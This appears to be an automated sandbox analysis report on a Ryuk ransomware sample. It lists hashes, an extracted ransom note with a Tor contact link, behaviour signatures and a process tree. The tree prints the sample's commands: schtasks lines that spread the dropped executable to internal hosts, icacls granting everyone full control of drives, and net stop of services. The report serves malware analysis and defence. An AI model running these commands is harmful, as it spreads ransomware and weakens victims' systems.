Analysis

  • max time kernel
    102s
  • max time network
    151s
  • platform
    windows10_x64
  • resource
    win10v20201028
  • submitted
    23-03-2021 15:24

General

  • Target

    xxx.exe

  • Size

    208KB

  • MD5

    3c08d1e5233c623bfc854879173544de

  • SHA1

    a1add1d1e80d84440fc013abcc754f1bdddf3a20

  • SHA256

    956246824d2fb2f5f4738c450e8d222042b08c3e5c67c3ec755bedf641b7b1c5

  • SHA512

    01adb468d0318f44532f5222fff6f06eb5128b6b368d2a939b0e5c54da592784e793f97a1a9617f908cf0b2b61c61253ec0157433faf3894cc34e63fbbc5a943

Malware Config

Extracted

Path

C:\users\Public\RyukReadMe.html

Family

ryuk

Ransom Note
contact balance of shadow universe Ryuk $password = 'UDmHKcEqZ'; $torlink = 'http://lgjpuim5fe3pejmllygcffape3djui6k2a5pcbpuyvps3h4ajb7yf4id.onion'; function info(){alert("INSTRUCTION:\r\n1. Download tor browser.\r\n2. Open link through tor browser: " + $torlink + "\r\n3. Fill the form, your password: "+ $password +"\r\nWe will contact you shortly.\r\nAlways send files for test decryption.");};
URLs

http://lgjpuim5fe3pejmllygcffape3djui6k2a5pcbpuyvps3h4ajb7yf4id.onion

Signatures

  • Ryuk

    Ransomware distributed via existing botnets, often Trickbot or Emotet.

  • Executes dropped EXE 3 IoCs
  • Modifies file permissions 1 TTPs 2 IoCs
  • Drops desktop.ini file(s) 1 IoCs
  • Drops file in Program Files directory 64 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Creates scheduled task(s) 1 TTPs 13 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of WriteProcessMemory 39 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\xxx.exe
    "C:\Users\Admin\AppData\Local\Temp\xxx.exe"
    1⤵
    • Drops desktop.ini file(s)
    • Drops file in Program Files directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:1056
    • C:\Users\Admin\AppData\Local\Temp\BDAZhEPfKrep.exe
      "C:\Users\Admin\AppData\Local\Temp\BDAZhEPfKrep.exe" 9 REP
      2⤵
      • Executes dropped EXE
      PID:3836
      • C:\Windows\SysWOW64\schtasks.exe
        "C:\Windows\System32\schtasks.exe" /Create /S 10.10.0.75 /TN VIFrxEi /TR "C:\Users\Public\BDAZhEPfKrep.exe" /sc once /st 00:00 /RL HIGHEST
        3⤵
        • Creates scheduled task(s)
        PID:6092
      • C:\Windows\SysWOW64\schtasks.exe
        "C:\Windows\System32\schtasks.exe" /Create /S 10.10.0.88 /TN TlhIwJN /TR "C:\Users\Public\BDAZhEPfKrep.exe" /sc once /st 00:00 /RL HIGHEST
        3⤵
        • Creates scheduled task(s)
        PID:5908
      • C:\Windows\SysWOW64\schtasks.exe
        "C:\Windows\System32\schtasks.exe" /Create /S 10.10.0.95 /TN 9cAhvcr /TR "C:\Users\Public\BDAZhEPfKrep.exe" /sc once /st 00:00 /RL HIGHEST
        3⤵
        • Creates scheduled task(s)
        PID:5972
      • C:\Windows\SysWOW64\schtasks.exe
        "C:\Windows\System32\schtasks.exe" /Create /S 10.10.0.77 /TN ytpK4NT /TR "C:\Users\Public\BDAZhEPfKrep.exe" /sc once /st 00:00 /RL HIGHEST
        3⤵
        • Creates scheduled task(s)
        PID:4820
      • C:\Windows\SysWOW64\schtasks.exe
        "C:\Windows\System32\schtasks.exe" /Create /S 10.10.0.66 /TN dBgLC9o /TR "C:\Users\Public\BDAZhEPfKrep.exe" /sc once /st 00:00 /RL HIGHEST
        3⤵
        • Creates scheduled task(s)
        PID:5532
      • C:\Windows\SysWOW64\schtasks.exe
        "C:\Windows\System32\schtasks.exe" /Create /S 10.10.0.73 /TN gpyELi9 /TR "C:\Users\Public\BDAZhEPfKrep.exe" /sc once /st 00:00 /RL HIGHEST
        3⤵
        • Creates scheduled task(s)
        PID:5828
      • C:\Windows\SysWOW64\schtasks.exe
        "C:\Windows\System32\schtasks.exe" /Create /S 10.10.0.78 /TN 9eeJfxa /TR "C:\Users\Public\BDAZhEPfKrep.exe" /sc once /st 00:00 /RL HIGHEST
        3⤵
        • Creates scheduled task(s)
        PID:5744
      • C:\Windows\SysWOW64\schtasks.exe
        "C:\Windows\System32\schtasks.exe" /Create /S 10.10.0.70 /TN TTDIaJW /TR "C:\Users\Public\BDAZhEPfKrep.exe" /sc once /st 00:00 /RL HIGHEST
        3⤵
        • Creates scheduled task(s)
        PID:5044
      • C:\Windows\SysWOW64\schtasks.exe
        "C:\Windows\System32\schtasks.exe" /Create /S 10.10.0.86 /TN lTGwsLu /TR "C:\Users\Public\BDAZhEPfKrep.exe" /sc once /st 00:00 /RL HIGHEST
        3⤵
        • Creates scheduled task(s)
        PID:4788
      • C:\Windows\SysWOW64\schtasks.exe
        "C:\Windows\System32\schtasks.exe" /Create /S 10.10.0.81 /TN YQljtCI /TR "C:\Users\Public\BDAZhEPfKrep.exe" /sc once /st 00:00 /RL HIGHEST
        3⤵
        • Creates scheduled task(s)
        PID:4996
      • C:\Windows\SysWOW64\schtasks.exe
        "C:\Windows\System32\schtasks.exe" /Create /S 10.10.0.71 /TN jqLXQOr /TR "C:\Users\Public\BDAZhEPfKrep.exe" /sc once /st 00:00 /RL HIGHEST
        3⤵
        • Creates scheduled task(s)
        PID:1480
      • C:\Windows\SysWOW64\schtasks.exe
        "C:\Windows\System32\schtasks.exe" /Create /S 10.10.0.84 /TN eCiHB2B /TR "C:\Users\Public\BDAZhEPfKrep.exe" /sc once /st 00:00 /RL HIGHEST
        3⤵
        • Creates scheduled task(s)
        PID:5732
      • C:\Windows\SysWOW64\schtasks.exe
        "C:\Windows\System32\schtasks.exe" /Create /S 10.10.0.72 /TN ytRRbQg /TR "C:\Users\Public\BDAZhEPfKrep.exe" /sc once /st 00:00 /RL HIGHEST
        3⤵
        • Creates scheduled task(s)
        PID:5508
    • C:\Users\Admin\AppData\Local\Temp\XhhxlwuMSlan.exe
      "C:\Users\Admin\AppData\Local\Temp\XhhxlwuMSlan.exe" 8 LAN
      2⤵
      • Executes dropped EXE
      PID:1020
    • C:\Users\Admin\AppData\Local\Temp\VFlVgQGNclan.exe
      "C:\Users\Admin\AppData\Local\Temp\VFlVgQGNclan.exe" 8 LAN
      2⤵
      • Executes dropped EXE
      PID:1524
    • C:\Windows\SysWOW64\icacls.exe
      icacls "C:\*" /grant Everyone:F /T /C /Q
      2⤵
      • Modifies file permissions
      PID:4484
    • C:\Windows\SysWOW64\icacls.exe
      icacls "D:\*" /grant Everyone:F /T /C /Q
      2⤵
      • Modifies file permissions
      PID:4496
    • C:\Windows\SysWOW64\net.exe
      "C:\Windows\System32\net.exe" stop "audioendpointbuilder" /y
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:4960
      • C:\Windows\SysWOW64\net1.exe
        C:\Windows\system32\net1 stop "audioendpointbuilder" /y
        3⤵
          PID:4956
      • C:\Windows\SysWOW64\net.exe
        "C:\Windows\System32\net.exe" stop "audioendpointbuilder" /y
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:4652
        • C:\Windows\SysWOW64\net1.exe
          C:\Windows\system32\net1 stop "audioendpointbuilder" /y
          3⤵
            PID:4736
        • C:\Windows\SysWOW64\net.exe
          "C:\Windows\System32\net.exe" stop "samss" /y
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:4728
          • C:\Windows\SysWOW64\net1.exe
            C:\Windows\system32\net1 stop "samss" /y
            3⤵
              PID:4708
          • C:\Windows\SysWOW64\net.exe
            "C:\Windows\System32\net.exe" stop "samss" /y
            2⤵
            • Suspicious use of WriteProcessMemory
            PID:4916
            • C:\Windows\SysWOW64\net1.exe
              C:\Windows\system32\net1 stop "samss" /y
              3⤵
                PID:5144

          Network

          MITRE ATT&CK Enterprise v6

          Replay Monitor

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          Downloads

          • memory/1020-14-0x0000000002170000-0x0000000002171000-memory.dmp

            Filesize

            4KB

          • memory/1056-23-0x0000000002F40000-0x0000000002F41000-memory.dmp

            Filesize

            4KB

          • memory/1056-24-0x0000000003740000-0x0000000003741000-memory.dmp

            Filesize

            4KB

          • memory/1056-3-0x0000000002110000-0x0000000002130000-memory.dmp

            Filesize

            128KB

          • memory/1056-4-0x0000000035000000-0x000000003502A000-memory.dmp

            Filesize

            168KB

          • memory/1056-2-0x00000000022E0000-0x00000000022E1000-memory.dmp

            Filesize

            4KB

          • memory/1524-20-0x0000000002030000-0x0000000002031000-memory.dmp

            Filesize

            4KB

          • memory/3836-8-0x0000000002170000-0x0000000002171000-memory.dmp

            Filesize

            4KB